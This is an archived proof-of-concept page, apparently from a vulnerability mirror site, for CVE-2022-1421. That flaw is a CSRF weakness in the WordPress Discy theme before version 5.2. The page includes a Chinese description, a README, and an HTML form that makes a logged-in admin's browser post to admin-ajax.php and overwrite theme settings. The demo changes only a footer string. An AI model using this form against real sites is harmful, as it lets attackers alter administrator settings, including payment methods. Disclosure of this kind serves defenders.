Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-1421 PoC — WordPress theme Discy 跨站请求伪造漏洞

Source
Associated Vulnerability
Title:WordPress theme Discy 跨站请求伪造漏洞 (CVE-2022-1421)
Description:WordPress是WordPress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress theme是WordPress的一款主题。 WordPress theme Discy 5.2之前版本存在跨站请求伪造漏洞,该漏洞源于在某些AJAX操作中缺少跨站请求伪造检查。攻击者利用该漏洞使用管理员权限更改任意设置,包括付款方式。
Readme
# CVE-2022-1421
A Proof-Of-Concept for CVE-2022-1421
## Discy < 5.2 - Settings Update via CSRF
Discy < 5.2 lacks CSRF checks in some AJAX actions, allowing an attacker to make a logged in admin change arbitrary plugin's settings including payment methods via a CSRF attack.

# Affected Theme
[Discy](https://themeforest.net/item/discy-social-questions-and-answers-wordpress-theme/19281265) < 5.2

# POC
```
<html>
  <body>
    <form action="https://target.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="discy_update_options">
      <input type="hidden" name="data" value="discy_options[footer_copyright]=You%20are%20ultra-PWNED">
      <input type="submit" value="Submit request">
    </form>
  </body>
</html> 
```

# References
https://wpscan.com/vulnerability/a7a24e8e-9056-4967-bcad-b96cc0c5b249

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1421
File Snapshot

[4.0K] /data/pocs/9d7854619f2c0f7731076d54bf00a1924c196ee2 ├── [ 350] CVE-2022-1421_POC.html └── [ 907] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.